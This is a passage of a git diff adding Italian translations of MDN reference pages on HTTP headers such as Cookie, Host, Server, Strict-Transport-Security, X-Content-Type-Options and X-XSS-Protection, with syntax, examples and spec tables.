{{Glossary("Forbidden header name")}}si
+ +

Sintassi

+ +
Cookie: <cookie-list>
+Cookie: name=value
+Cookie: name=value; name2=value2; name3=value3
+ +
+
<cookie-list>
+
Una lista di coppie chiave-valore nel formato <cookie-name>=<cookie-value>. Le coppie nella lista sono separate da un punto e virgola e uno spazio ('; ').
+
+ +

Esempio

+ +
Cookie: PHPSESSID=298zf09hf012fh2; csrftoken=u32t4o3tb3gg43; _gat=1;
+ +

Specifiche

+ + + + + + + + + + + + + + +
SpecificaTitolo
{{RFC("6265", "Cookie", "5.4")}}HTTP State Management Mechanism
+ +

compatibilità dei browser

+ + + +

{{Compat("http.headers.Cookie")}}

+ +

Vedi anche

+ + diff --git a/files/it/web/http/headers/host/index.html b/files/it/web/http/headers/host/index.html new file mode 100644 index 0000000000..c5edcffb7b --- /dev/null +++ b/files/it/web/http/headers/host/index.html @@ -0,0 +1,77 @@ +--- +title: Host +slug: Web/HTTP/Headers/Host +tags: + - HTTP + - Host + - Italiano + - Reference + - header +translation_of: Web/HTTP/Headers/Host +--- +
{{HTTPSidebar}}
+ +

L'header di richiesta Host nei messaggi HTTP specifica il nome di dominio del server (per l'hosting virtuale) e (opzionalmente) il numero di porta TPC su cui il server è in ascolto.

+ +

Se non viene specificata nessuna porta, viene utilizzata quella di default del servizio richiesto (ad esempio "80" per HTTP).

+ +

L'header Host deve essere inviato in tutte le richieste HTTP/1.1. Un codice di stato (status code) {{HTTPStatus("400")}} (Bad Request) verrà inviato in risposta a qualsiasi richiesta HTTP/1.1 che non dispone di un campo header Host o ne contiene più di uno.

+ + + + + + + + + + + + +
Tipo di header{{Glossary("Header di richiesta")}}
{{Glossary("Nome header vietato")}}
+ +

Sintassi

+ +
Host: <host>:<porta>
+
+ +

Direttive

+ +
+
<host>
+
il nome di dominio del server (per l'hosting virtuale).
+
<porta> {{optional_inline}}
+
il numero di porta TCP su cui il server è in ascolto.
+
+ +

Esempi

+ +
Host: developer.cdn.mozilla.net
+ +

Specifiche

+ + + + + + + + + + + + +
SpecificaTitolo
{{RFC("7230", "Host", "5.4")}}Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing
+ +

Compatibilità con i browser

+ + + +

{{Compat("http.headers.Host")}}

+ +

Vedi anche

+ + diff --git a/files/it/web/http/headers/index.html b/files/it/web/http/headers/index.html new file mode 100644 index 0000000000..7d5b000ead --- /dev/null +++ b/files/it/web/http/headers/index.html @@ -0,0 +1,368 @@ +--- +title: HTTP headers +slug: Web/HTTP/Headers +tags: + - HTTP + - Headers + - NeedsTranslation + - Networking + - Reference + - TopicStub +translation_of: Web/HTTP/Headers +--- +
{{HTTPSidebar}}
+ +

HTTP headers allow the client and the server to pass additional information with the request or the response. A request header consists of its case-insensitive name followed by a colon ':', then by its value (without line breaks). Leading white space before the value is ignored.

+ +

Custom proprietary headers can be added using the 'X-' prefix, but this convention was deprecated in June 2012, because of the inconveniences it caused when non-standard fields became standard in RFC 6648; others are listed in an IANA registry, whose original content was defined in RFC 4229. IANA also maintains a registry of proposed new HTTP message headers.

+ +

Headers can be grouped according to their contexts:

+ + + +

Headers can also be grouped according to how proxies handle them:

+ +
+
End-to-end headers
+
These headers must be transmitted to the final recipient of the message; that is, the server for a request or the client for a response. Intermediate proxies must retransmit end-to-end headers unmodified and caches must store them.
+
Hop-by-hop headers
+
These headers are meaningful only for a single transport-level connection and must not be retransmitted by proxies or cached. Such headers are: {{ httpheader("Connection") }}, {{ httpheader("Keep-Alive") }}, {{ httpheader("Proxy-Authenticate") }}, {{ httpheader("Proxy-Authorization") }}, {{ httpheader("TE") }}, {{ httpheader("Trailer") }}, {{ httpheader("Transfer-Encoding") }} and {{ httpheader("Upgrade") }}. Note that only hop-by-hop headers may be set using the {{ httpheader("Connection") }} general header.
+
+ +

The following list summarizes HTTP headers by their usage category. For an alphabetical list, see the navigation on the left side.

+ +

Authentication

+ +
+
{{HTTPHeader("WWW-Authenticate")}}
+
Defines the authentication method that should be used to gain access to a resource.
+
{{HTTPHeader("Authorization")}}
+
Contains the credentials to authenticate a user agent with a server.
+
{{HTTPHeader("Proxy-Authenticate")}}
+
Defines the authentication method that should be used to gain access to a resource behind a Proxy server.
+
{{HTTPHeader("Proxy-Authorization")}}
+
Contains the credentials to authenticate a user agent with a proxy server.
+
+ +

Caching

+ +
+
{{HTTPHeader("Age")}}
+
The time in seconds the object has been in a proxy cache.
+
{{HTTPHeader("Cache-Control")}}
+
Specifies directives for caching mechanisms in both requests and responses.
+
{{HTTPHeader("Expires")}}
+
The date/time after which the response is considered stale.
+
{{HTTPHeader("Pragma")}}
+
Implementation-specific header that may have various effects anywhere along the request-response chain. Used for backwards compatibility with HTTP/1.0 caches where the Cache-Control header is not yet present.
+
{{HTTPHeader("Warning")}}
+
A general warning field containing information about possible problems.
+
+ +

Client hints

+ +
+
{{HTTPHeader("Accept-CH")}}
+
...
+
{{HTTPHeader("Content-DPR")}}
+
...
+
{{HTTPHeader("DPR")}}
+
...
+
{{HTTPHeader("Downlink")}}
+
...
+
{{HTTPHeader("Save-Data")}}
+
...
+
{{HTTPHeader("Viewport-Width")}}
+
...
+
{{HTTPHeader("Width")}}
+
...
+
+ +
+
+

Conditionals

+
+
{{HTTPHeader("Last-Modified")}}
+
It is a validator, the last modification date of the resource, used to compare several versions of the same resource. It is less accurate than {{HTTPHeader("ETag")}}, but easier to calculate in some environments. Conditional requests using {{HTTPHeader("If-Modified-Since")}} and {{HTTPHeader("If-Unmodified-Since")}} use this value to change the behavior of the request.
+
{{HTTPHeader("ETag")}}
+
It is a validator, a unique string identifying the version of the resource. Conditional requests using {{HTTPHeader("If-Match")}} and {{HTTPHeader("If-None-Match")}} use this value to change the behavior of the request.
+
{{HTTPHeader("If-Match")}}
+
Makes the request conditional and applies the method only if the stored resource matches one of the given ETags.
+
{{HTTPHeader("If-None-Match")}}
+
Makes the request conditional and applies the method only if the stored resource doesn't match any of the given ETags. This is used to update caches (for safe requests), or to prevent to upload a new resource when one is already existing.
+
{{HTTPHeader("If-Modified-Since")}}
+
Makes the request conditional and expects the entity to be transmitted only if it has been modified after the given date. This is used to transmit data only when the cache is out of date.
+
{{HTTPHeader("If-Unmodified-Since")}}
+
Makes the request conditional and expects the entity to be transmitted only if it has not been modified after the given date. This is used to ensure the coherence of a new fragment of a specific range with previous ones, or to implement an optimistic concurrency control system when modifying existing documents.
+
+ +

Connection management

+ +
+
{{HTTPHeader("Connection")}}
+
Controls whether the network connection stays open after the current transaction finishes.
+
{{HTTPHeader("Keep-Alive")}}
+
Controls how long a persistent connection should stay open.
+
+ +

Content negotiation

+ +
+
{{HTTPHeader("Accept")}}
+
Informs the server about the types of data that can be sent back. It is MIME-type.
+
{{HTTPHeader("Accept-Charset")}}
+
Informs the server about which character set the client is able to understand.
+
{{HTTPHeader("Accept-Encoding")}}
+
Informs the server about the encoding algorithm, usually a compression algorithm, that can be used on the resource sent back.
+
{{HTTPHeader("Accept-Language")}}
+
Informs the server about the language the server is expected to send back. This is a hint and is not necessarily under the full control of the user: the server should always pay attention not to override an explicit user choice (like selecting a language in a drop down list).
+
+ +
+
+ +

Controls

+ +
+
{{HTTPHeader("Expect")}}
+
Indicates expectations that need to be fulfilled by the server in order to properly handle the request.
+
{{HTTPHeader("Max-Forwards")}}
+
...
+
+ +

Cookies

+ +
+
{{HTTPHeader("Cookie")}}
+
Contains stored HTTP cookies previously sent by the server with the {{HTTPHeader("Set-Cookie")}} header.
+
{{HTTPHeader("Set-Cookie")}}
+
Send cookies from the server to the user agent.
+
{{HTTPHeader("Cookie2")}} {{obsolete_inline}}
+
Used to contain an HTTP cookie, previously sent by the server with the {{HTTPHeader("Set-Cookie2")}} header, but has been obsoleted by the specification. Use {{HTTPHeader("Cookie")}} instead.
+
{{HTTPHeader("Set-Cookie2")}} {{obsolete_inline}}
+
Used to send cookies from the server to the user agent, but has been obsoleted by the specification. Use {{HTTPHeader("Set-Cookie")}} instead.
+
+

CORS

+
+
{{HTTPHeader("Access-Control-Allow-Origin")}}
+
Indicates whether the response can be shared.
+
{{HTTPHeader("Access-Control-Allow-Credentials")}}
+
Indicates whether the response to the request can be exposed when the credentials flag is true.
+
{{HTTPHeader("Access-Control-Allow-Headers")}}
+
Used in response to a preflight request to indicate which HTTP headers can be used when making the actual request.
+
{{HTTPHeader("Access-Control-Allow-Methods")}}
+
Specifies the method or methods allowed when accessing the resource in response to a preflight request.
+
{{HTTPHeader("Access-Control-Expose-Headers")}}
+
Indicates which headers can be exposed as part of the response by listing their names.
+
{{HTTPHeader("Access-Control-Max-Age")}}
+
Indicates how long the results of a preflight request can be cached.
+
{{HTTPHeader("Access-Control-Request-Headers")}}
+
Used when issuing a preflight request to let the server know which HTTP headers will be used when the actual request is made.
+
{{HTTPHeader("Access-Control-Request-Method")}}
+
Used when issuing a preflight request to let the server know which HTTP method will be used when the actual request is made.
+
{{HTTPHeader("Origin")}}
+
Indicates where a fetch originates from.
+
+ +

Do Not Track

+ +
+
{{HTTPHeader("DNT")}}
+
Used for expressing the user's tracking preference.
+
{{HTTPHeader("Tk")}}
+
Indicates the tracking status that applied to the corresponding request.
+
+ +

Downloads

+ +
+
{{HTTPHeader("Content-Disposition")}}
+
Is a response header if the resource transmitted should be displayed inline (default behavior when the header is not present), or it should be handled like a download and the browser should present a 'Save As' window.
+
+ +

Message body information

+ +
+
{{HTTPHeader("Content-Length")}}
+
indicates the size of the entity-body, in decimal number of octets, sent to the recipient.
+
{{HTTPHeader("Content-Type")}}
+
Indicates the media type of the resource.
+
{{HTTPHeader("Content-Encoding")}}
+
Used to specify the compression algorithm.
+
{{HTTPHeader("Content-Language")}}
+
Describes the language(s) intended for the audience, so that it allows a user to differentiate according to the users' own preferred language.
+
{{HTTPHeader("Content-Location")}}
+
Indicates an alternate location for the returned data.
+
+

Proxies

+
+
+ +
+
{{HTTPHeader("Forwarded")}}
+
Contains information from the client-facing side of proxy servers that is altered or lost when a proxy is involved in the path of the request.
+
{{HTTPHeader("X-Forwarded-For")}} {{non-standard_inline}}
+
Identifies the originating IP addresses of a client connecting to a web server through an HTTP proxy or a load balancer.
+
{{HTTPHeader("X-Forwarded-Host")}} {{non-standard_inline}}
+
Identifies the original host requested that a client used to connect to your proxy or load balancer.
+
{{HTTPHeader("X-Forwarded-Proto")}} {{non-standard_inline}}
+
identifies the protocol (HTTP or HTTPS) that a client used to connect to your proxy or load balancer.
+
{{HTTPHeader("Via")}}
+
Added by proxies, both forward and reverse proxies, and can appear in the request headers and the response headers.
+
+ +

Redirects

+ +
+
{{HTTPHeader("Location")}}
+
Indicates the URL to redirect a page to.
+
+ +

Request context

+ +
+
{{HTTPHeader("From")}}
+
Contains an Internet email address for a human user who controls the requesting user agent.
+
{{HTTPHeader("Host")}}
+
Specifies the domain name of the server (for virtual hosting), and (optionally) the TCP port number on which the server is listening.
+
{{HTTPHeader("Referer")}}
+
The address of the previous web page from which a link to the currently requested page was followed.
+
{{HTTPHeader("Referrer-Policy")}}
+
Governs which referrer information sent in the {{HTTPHeader("Referer")}} header should be included with requests made.
+
{{HTTPHeader("User-Agent")}}
+
Contains a characteristic string that allows the network protocol peers to identify the application type, operating system, software vendor or software version of the requesting software user agent. See also the Firefox user agent string reference.
+
+ +

Response context

+ +
+
{{HTTPHeader("Allow")}}
+
Lists the set of HTTP request methods support by a resource.
+
{{HTTPHeader("Server")}}
+
Contains information about the software used by the origin server to handle the request.
+
+ +

Range requests

+ +
+
{{HTTPHeader("Accept-Ranges")}}
+
Indicates if the server supports range requests and if so, in which unit the range can be expressed.
+
{{HTTPHeader("Range")}}
+
Indicates the part of a document that the server should return.
+
{{HTTPHeader("If-Range")}}
+
Creates a conditional range request that is only fulfilled if the given etag or date matches the remote resource. Used to prevent downloading two ranges from incompatible version of the resource.
+
{{HTTPHeader("Content-Range")}}
+
Indicates where in a full body message a partial message belongs.
+
+ +

Security

+ +
+
{{HTTPHeader("Content-Security-Policy")}} ({{Glossary("CSP")}})
+
Controls resources the user agent is allowed to load for a given page.
+
{{HTTPHeader("Content-Security-Policy-Report-Only")}}
+
Allows web developers to experiment with policies by monitoring (but not enforcing) their effects. These violation reports consist of {{Glossary("JSON")}} documents sent via an HTTP POST request to the specified URI.
+
{{HTTPHeader("Public-Key-Pins")}} ({{Glossary("HPKP")}})
+
Associates a specific cryptographic public key with a certain web server to decrease the risk of {{Glossary("MITM")}} attacks with forged certificates.
+
{{HTTPHeader("Public-Key-Pins-Report-Only")}}
+
Sends reports to the report-uri specified in the header and does still allow clients to connect to the server even if the pinning is violated.
+
+ +
+
{{HTTPHeader("Strict-Transport-Security")}} ({{Glossary("HSTS")}})
+
Force communication using HTTPS instead of HTTP.
+
{{HTTPHeader("Upgrade-Insecure-Requests")}}
+
Sends a signal to the server expressing the client’s preference for an encrypted and authenticated response, and that it can successfully handle the {{CSP("upgrade-insecure-requests")}} directive.
+
+ +
+
{{HTTPHeader("X-Content-Type-Options")}}
+
Disables MIME sniffing and forces browser to use the type given in {{HTTPHeader("Content-Type")}}.
+
+ +
+
{{HTTPHeader("X-Frame-Options")}} (XFO)
+
Indicates whether a browser should be allowed to render a page in a {{HTMLElement("frame")}}, {{HTMLElement("iframe")}} or {{HTMLElement("object")}}
+
{{HTTPHeader("X-XSS-Protection")}}
+
Enables cross-site scripting filtering.
+
+ +

Server-sent events

+ +
+
{{HTTPHeader("Ping-From")}}
+
...
+
{{HTTPHeader("Ping-To")}}
+
...
+
{{HTTPHeader("Last-Event-ID")}}
+
...
+
+ +

Transfer coding

+ +
+
{{HTTPHeader("Transfer-Encoding")}}
+
Specifies the the form of encoding used to safely transfer the entity to the user.
+
{{HTTPHeader("TE")}}
+
Specifies the transfer encodings the user agent is willing to accept.
+
{{HTTPHeader("Trailer")}}
+
Allows the sender to include additional fields at the end of chunked message.
+
+ +

WebSockets

+ +
+
{{HTTPHeader("Sec-WebSocket-Key")}}
+
...
+
{{HTTPHeader("Sec-WebSocket-Extensions")}}
+
...
+
{{HTTPHeader("Sec-WebSocket-Accept")}}
+
...
+
{{HTTPHeader("Sec-WebSocket-Protocol")}}
+
...
+
{{HTTPHeader("Sec-WebSocket-Version")}}
+
...
+
+ +

Other

+ +
+
{{HTTPHeader("Date")}}
+
Contains the date and time at which the message was originated.
+
{{HTTPHeader("Large-Allocation")}}
+
Tells the browser that the page being loaded is going to want to perform a large allocation.
+
{{HTTPHeader("Link")}}
+
...
+
{{HTTPHeader("Retry-After")}}
+
Indicates how long the user agent should wait before making a follow-up request.
+
{{HTTPHeader("SourceMap")}}
+
Links generated code to a source map.
+
{{HTTPHeader("Upgrade")}}
+
The relevant RFC document for the Upgrade header field is RFC 7230, section 6.7.  The standard establishes rules for upgrading or changing to a different protocol on the current client, server, transport protocol connection.  For example, this header standard allows a client to change from HTTP 1.1 to HTTP 2.0, assuming the server decides to acknowledge and implement the Upgrade header field.  Niether party is required to accept the terms specified in the Upgrade header field.  It can be used in both client and server headers.  If the Upgrade header field is specified, then the sender MUST also send the Connection header field with the upgrade option specified.  For details on the Connection header field please see section 6.1 of the aforementioned RFC.
+
{{HTTPHeader("Vary")}}
+
Determines how to match future request headers to decide whether a cached response can be used rather than requesting a fresh one from the origin server.
+
{{HTTPHeader("X-DNS-Prefetch-Control")}}
+
Controls DNS prefetching, a feature by which browsers proactively perform domain name resolution on both links that the user may choose to follow as well as URLs for items referenced by the document, including images, CSS, JavaScript, and so forth.
+
{{HTTPHeader("X-Firefox-Spdy")}}
+
...
+
{{HTTPHeader("X-Requested-With")}}
+
...
+
{{HTTPHeader("X-UA-Compatible")}}
+
...
+
+ +

Contributing

+ +

You can help by writing new entries or improving the existing ones.

+ +

See also

+ + diff --git a/files/it/web/http/headers/server/index.html b/files/it/web/http/headers/server/index.html new file mode 100644 index 0000000000..46e9030558 --- /dev/null +++ b/files/it/web/http/headers/server/index.html @@ -0,0 +1,70 @@ +--- +title: Server +slug: Web/HTTP/Headers/Server +tags: + - HTTP + - Riferimento + - header +translation_of: Web/HTTP/Headers/Server +--- +
{{HTTPSidebar}}
+ +
L'header Server contiene informazioni sul software utilizzato dal server di origine per gestire la richiesta.
+ +

Valori di Server troppo lunghi e dettagliati dovrebbero essere evitati, poiché potenzialmente rivelano dettagli interni di implementazione che potrebbero rendere (leggermente) più facile per degli hacker trovare e sfruttare falle di sicurezza note.

+ + + + + + + + + + + + +
Tipo header{{Glossary("Header di risposta")}}
{{Glossary("Forbidden header name")}}no
+ +

Sintassi

+ +
Server: <prodotto>
+
+ +

Direttive

+ +
+
<prodotto>
+
Il nome del software o (sotto)prodotto che gestisce le richieste.
+
+ +

Esempi

+ +
Server: Apache/2.4.1 (Unix)
+ +

Specifiche

+ + + + + + + + + + + + +
SpecificaTitolo
{{RFC("7231", "Server", "7.4.2")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Compatibilità browser

+ + + +

{{Compat("http.headers.Server")}}

+ +

Vedi anche

+ + diff --git a/files/it/web/http/headers/strict-transport-security/index.html b/files/it/web/http/headers/strict-transport-security/index.html new file mode 100644 index 0000000000..cad174395e --- /dev/null +++ b/files/it/web/http/headers/strict-transport-security/index.html @@ -0,0 +1,118 @@ +--- +title: Strict-Transport-Security +slug: Web/HTTP/Headers/Strict-Transport-Security +tags: + - HSTS + - HTTP + - HTTPS + - Sicurezza + - header +translation_of: Web/HTTP/Headers/Strict-Transport-Security +--- +
{{HTTPSidebar}}
+ +

L'header di risposta HTTP Strict-Transport-Security  (spesso abbreviato come {{Glossary("HSTS")}})  è una funzionalità di sicurezza che consente ad un sito web di comunicare ai browser che tutte le richieste devono essere effettuate usando HTTPS invece di HTTP.

+ +

informare i browser a comunicare esclusivamente usando HTTPS, invece che HTTP.

+ + + + + + + + + + + + +
Header type{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}no
+ +

Sintassi

+ +
Strict-Transport-Security: max-age=<expire-time>
+Strict-Transport-Security: max-age=<expire-time>; includeSubDomains
+Strict-Transport-Security: max-age=<expire-time>; preload
+
+ +

Direttive

+ +
+
max-age=<expire-time>
+
Il tempo, in secondi, per il quale il browser deve ricordare che il sito è accessibile solamente utilizzando HTTPS.
+
includeSubDomains {{optional_inline}}
+
Se questo parametro opzionale è specificato, la regola si applica anche a tutti i sotto domini.
+
preload {{optional_inline}}
+
Consulta {{anch("Preloading Strict Transport Security")}} per i dettagli. Non è parte delle specifiche.
+
+ +

Descrizione

+ +

Se un sito web accetta connessioni attraverso HTTP e reindirizza su HTTPS, l'utente potrebbe inizializzare la connessione non cifrata, prima di essere rediretto, ad esempio se digitasse http://www.foo.com/ o solamente foo.com.

+ +

Questo sistema apre ad un potenziale attacco di tipo man-in-the-middle, dove la redirezione può essere sfruttata per indirizzare l'attaccante ad un sito malevolo invece che alla versione sicura della pagina originale.

+ +

L'header HTTP Strict Transport Security consente ad un sito web di informare il browser che non dovrebbe mai caricare il sito utilizzando HTTP e dovrebbe automaticamente convertire i tentativi di accesso al sito tramite HTTP, in HTTPS.

+ +
Nota: L'header Strict-Transport-Security è ignorato dal browser quanto il sito viene caricato tramite HTTP; questo perchè un attaccante potrebbe intercettare la connessione HTTP e iniettare o modificare l'header. Quando il sito è caricato tramite HTTPS senza errori di certificato, il browser saprà che il sito è disponibile tramite HTTPS e rispetterà l'header Strict-Transport-Security.
+ +

Uno scenario d'esempio

+ +

Effettui l'accesso ad una rete WiFi aperta all'aereoporto e inizi a navigare nel web, visitando il sito della tua banca per controllare il tuo saldo e per pagare un paio di bollette. Sfortunatamente, l'access point che stai utilizzando è in realtà il computer di un hacker che sta intercettando le tue richieste originali in HTTP e reindirizzandoti ad un sito web clone della tua banca invece che al sito originale. Ora tutti i tuoi dati privati sono esposti all'hacker.

+ +

Strict Transport Security risolve questo problema; a patto che tu abbia già visitato in precedenza il sito della tua banca utilizzando HTTPS e a patto che il sito web utilizzi Strict Transport Security, il tuo browser utilizzerà automaticamente HTTPS, che impedisce agli hacker di effettuare un attacco di tipo man-in-the-middle.

+ +

Come viene gestito dal browser

+ +

La prima volta che il tuo sito web viene contattato utilizzando HTTPS e restituisce l'header Strict-Transport-Security, il browser registra questa informazione, in modo che tutti i futuri tentativi di caricare il sito attraverso HTTP verranno modificati utilizzando HTTPS.

+ +

Quando il tempo di validità specificato dall'header Strict-Transport-Security scade, il seguente tentativo di caricare il sito web via HTTP procederà normalmente invece che utilizzare automaticamente HTTPS.

+ +

Ogni qual volta l'header Strict-Transport-Security viene inviato al browser, il tempo di validità sarà aggiornato per quel sito, quindi i siti possono aggioranre questa informazione per prevenire la scadenza della validità. Nel caso in cui fosse necessario disabilitare Strict Transport Security, impostare l'attributo max-age a 0 (su una connession HTTPS) porterà immediatamente alla scadenza dell'header stesso, consentendo l'accesso via HTTP.

+ +

Precaricamento di Strict Transport Security

+ +

Google mantiene un servizio di precaricamento per HSTS. Seguendo le linee guida e inviando con successo il tuo dominio, i browser non si connetteranno mai allo stesso utilizzando connessioni insicure. Sebbene il servizio sia ospitato da Google, tutti i browser hanno dichiarato l'intento di iniziare ad utilizzare (o effettivamente utilizzare) la lista di precaricamento.

+ + + +

Esempio

+ +

Tutti i presenti e futuri sottodomini saranno contattati in HTTPS per un max-age di 1 anno. Questo impedisce l'accesso alle pagine o ai sottodomini che possono essere forniti solo tramite HTTP.

+ +
Strict-Transport-Security: max-age=31536000; includeSubDomains
+ +

Specifiche

+ + + + + + + + + + + + + + +
SpecificaStatoCommento
{{SpecName('HSTS')}}{{Spec2('HSTS')}}Initial definition
+ +

Compatibilità browser

+ + + +

{{Compat("http.headers.Strict-Transport-Security")}}

+ +

Vedi anche

+ + diff --git a/files/it/web/http/headers/x-content-type-options/index.html b/files/it/web/http/headers/x-content-type-options/index.html new file mode 100644 index 0000000000..ac06e93904 --- /dev/null +++ b/files/it/web/http/headers/x-content-type-options/index.html @@ -0,0 +1,90 @@ +--- +title: X-Content-Type-Options +slug: Web/HTTP/Headers/X-Content-Type-Options +tags: + - HTTP + - HTTP Header + - Reference + - ResponseHeader +translation_of: Web/HTTP/Headers/X-Content-Type-Options +--- +

L'header X-Content-Type-Options delle risposte HTTP è usato per indicare che il tipo MIME descritto dagli header di tipo {{HTTPHeader("Content-Type")}} dovrebbe venire rispettato senza effettuare modifiche. Questo consente di al client di non effettuare lo sniffing del tipo MIME, o, in altre parole, è un modo con cui i webmaster comunicano che "sapevano cosa stessero facendo".

+ +

Questo header è stato introdotto da Microsoft con IE8 per consentire ai webmaster di impedire lo sniffing del tipo MIME, che avveniva comunemente, ma che poteva comportare la conversione di un tipo MIME non eseguibile in uno eseguibile. Da allora altri browser hanno iniziato a supportarlo, nonostante i loro algoritmi di sniffing siano meno aggressivi rispetto al passato.

+ +

I tester della sicurezza dei siti solitamente si aspettano di trovare questo header.

+ +

Nota: X-Content-Type-Options causa il blocco di una richiesta se il suo valore è nosniff solo per richieste con destinazione di tipo "script" o "style". Tale header causa anche It also l'attivazione del Cross-Origin Read Blocking (CORB) per file di tipo HTML, TXT, JSON e XML ( i file SVG image/svg+xml sono esclusi).

+ + + + + + + + + + + + +
Tipo Header{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}no
+ +

Sintassi

+ +
X-Content-Type-Options: nosniff
+
+ +

Direttive

+ +
+
nosniff
+
+
Blocca la richiesta, se è di tipo: + +
+
Abilita il Cross-Origin Read Blockingper i seguenti tipi MIME: +
    +
  • text/html
  • +
  • text/plain
  • +
  • text/json, application/json o qualunque altro tipo avente estensione simile a  */*+json
  • +
  • text/xml, application/xml o qualunque altro tipo avente estensione simile a  */*+xml ( image/svg+xml esclusa).
  • +
+
+
+ +

Specifiche

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Fetch", "#x-content-type-options-header", "X-Content-Type-Options definition")}}{{Spec2("Fetch")}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("http.headers.X-Content-Type-Options")}}

+ +

Vedi anche

+ + diff --git a/files/it/web/http/headers/x-xss-protection/index.html b/files/it/web/http/headers/x-xss-protection/index.html new file mode 100644 index 0000000000..89ef4c0bc2 --- /dev/null +++ b/files/it/web/http/headers/x-xss-protection/index.html @@ -0,0 +1,90 @@ +--- +title: X-XSS-Protection +slug: Web/HTTP/Headers/X-XSS-Protection +tags: + - HTTP + - Sicurezza + - XSS + - header +translation_of: Web/HTTP/Headers/X-XSS-Protection +--- +
{{HTTPSidebar}}
+ +

L'header HTTP di risposta  X-XSS-Protection è una funzionalità di Internet Explorer, Chrome e Safari che impedisce alle pagine di caricarsi quando rilevano attacchi di tipo cross-site scripting reflected ({{Glossary("XSS")}}). Anche se queste protezioni sono largamente non necessarie nei browser moderni, quando i siti web implementano una  {{HTTPHeader("Content-Security-Policy")}} restrittiva che disabilita l'uso di JavaScript inline ('unsafe-inline'), possono ancora fornire protezione agli utenti di browser datati che non supportano {{Glossary("CSP")}}.

+ + + + + + + + + + + + +
Header type{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}no
+ +

Sintassi

+ +
X-XSS-Protection: 0
+X-XSS-Protection: 1
+X-XSS-Protection: 1; mode=block
+X-XSS-Protection: 1; report=<reporting-uri>
+
+ +
+
0
+
Disabilita il filtro XSS.
+
1
+
Ablita il filtro XSS (solitamente il valore di default dei browser). Se un attacco di tipo cross-site scripting viene rilevato, il browser sanitizzerà la pagina web (rimuovendo il contenuto non sicuro).
+
1; mode=block
+
Abilita il filtro XSS. Piuttosto che sanitizzare la pagina web, il browser eviterà di mostrare la pagina quando un attacco viene rilevato.
+
1; report=<reporting-URI>  (Solo Chromium)
+
Abilita il filtro XSS. Se un attacco di tipo cross-site scripting viene rilevato, il browser sanitizzerà la pagina e riporterà la violazione. Questo sistema utilizza la funzionalità della direttiva CSP {{CSP("report-uri")}} per segnalare la violazione.
+
+ +

Esempio

+ +

Impedisce alle pagine di caricare quando viene rilevato un attacco di tipo XSS reflected:

+ +
X-XSS-Protection: 1; mode=block
+ +

PHP

+ +
header("X-XSS-Protection: 1; mode=block");
+ +

Apache (.htaccess)

+ +
<IfModule mod_headers.c>
+  Header set X-XSS-Protection "1; mode=block"
+</IfModule>
+ +

Nginx

+ +
add_header "X-XSS-Protection" "1; mode=block";
+ +

Specifiche

+ +

Non parte di nessuna specifica o bozza.

+ +

Compatibilità Browser

+ +

 

+ + + +

{{Compat("http.headers.X-XSS-Protection")}}

+ +

Vedi anche

+ + + +

 

diff --git a/files/it/web/http/index.html b/files/it/web/http/index.html new file mode 100644 index 0000000000..fa9405f68a --- /dev/null +++ b/files/it/web/http/index.html @@ -0,0 +1,231 @@ +--- +title: HTTP +slug: Web/HTTP +tags: + - HTTP + - Headers + - NeedsTranslation + - TopicStub + - Web + - Web Development +translation_of: Web/HTTP +--- +

{{ HTTPSidebar }}                                                                                                     

+ +

L'Hypertext Transfer Protocol (HTTP) è un protocollo del livello di applicazione per il trasferimento di ipertesti. È usato per le comunicazioni tra i web browser e i web server, sebbene in linea di principio possa essere utilizzato anche per altri scopi. Segue un classico modello client-server, con apertura di una conessione da parte del client, creazione di una richiesta e poi attesa della risposta da parte del server dopo aver ricevuto la richiesta. È anche un protocollo senza stato, cioè il server non mantiene nessun tipo di dato (stato) delle richieste.

+ +

Sebbene spesso basato su un livello TCP/IP, può essere usato su qualsiasi livello di trasporto orientato alle connessioni.

+ +

Documentazione

+ +
+
HTTP Header
+
I messaggi Header HTTP vengono utilizzati per descrivere con precisione la risorsa da recuperare o il comportamento del server o del client. Header con proprietà personalizzate possono essere aggiunti usando il prefisso 'X-'; altri sono elencati in un registro IANA, il cui contenuto originale è stato definito in RFC 4229. IANA mantiene anche un registro delle nuove proposte di messaggi Header HTTP.
+
HTTP cookie
+
Come lavorano i cookie è stato definito nel RFC 6265. Quando riceve una richiesta HTTP, un server può inviare un header Set-Cookie con la risposta. Successivamente, il valore del cookie viene inviato insieme a ogni richiesta effettuata sullo stesso server sotto forma di un'intestazione HTTP Cookie. Inoltre, è possibile specificare un ritardo di scadenza. È possibile specificare anche restrizioni a un dominio e un percorso specifici.
+
Autenticazione di accesso di base
+
Nel contesto di una transazione HTTP, l'autenticazione di accesso di base è un metodo per un HTTP user agent per fornire un nome utente e una password quando si effettua una richiesta.
+
Pipelining HTTP FAQ
+
Pipelining HTTP/1.1 FAQ
+
Controllo accessi HTTP (CORS)
+
Le richieste HTTP cross-site sono richieste HTTP per risorse da un dominio diverso rispetto al dominio della risorsa che effettua la richiesta.  Ad esempio, una risorsa caricata dal Dominio A (http://domaina.example) come una pagina Web HTML, effettua una richiesta per una risorsa sul Dominio B (http://domainb.foo), come un'immagine, usando l'elemento img (http://domainb.foo/image.jpg). Questo si verifica molto comunemente sul Web oggi: le pagine caricano un numero di risorse in modo cross-site, inclusi fogli di stile CSS, immagini e script e altre risorse.
+
Controllo del prefetching DNS
+
Firefox 3.5 esegue il prefetching DNS. Questa è una funzionalità con cui Firefox esegue proattivamente la risoluzione dei nomi di dominio su entrambi i link che l'utente può scegliere di seguire e gli URL per gli elementi a cui fa riferimento il documento, incluse immagini, CSS, JavaScript e così via. Questo prefetch viene eseguito in background, in modo che il DNS sia già stato risolto nel momento in cui gli elementi di riferimento sono effettivamente necessari. Ciò riduce la latenza quando, ad esempio, l'utente fa effettivamente clic su un collegamento.
+
Codici di risposta HTTP
+
I codici di risposta HTTP indicano se una specifica richiesta HTTP è stata completata con successo. Le risposte sono raggruppate in cinque classi: risposte informative, risposte positive, reindirizzamenti, errori del client e errori del server.
+
+ +

A brief history of HTTP

+ +

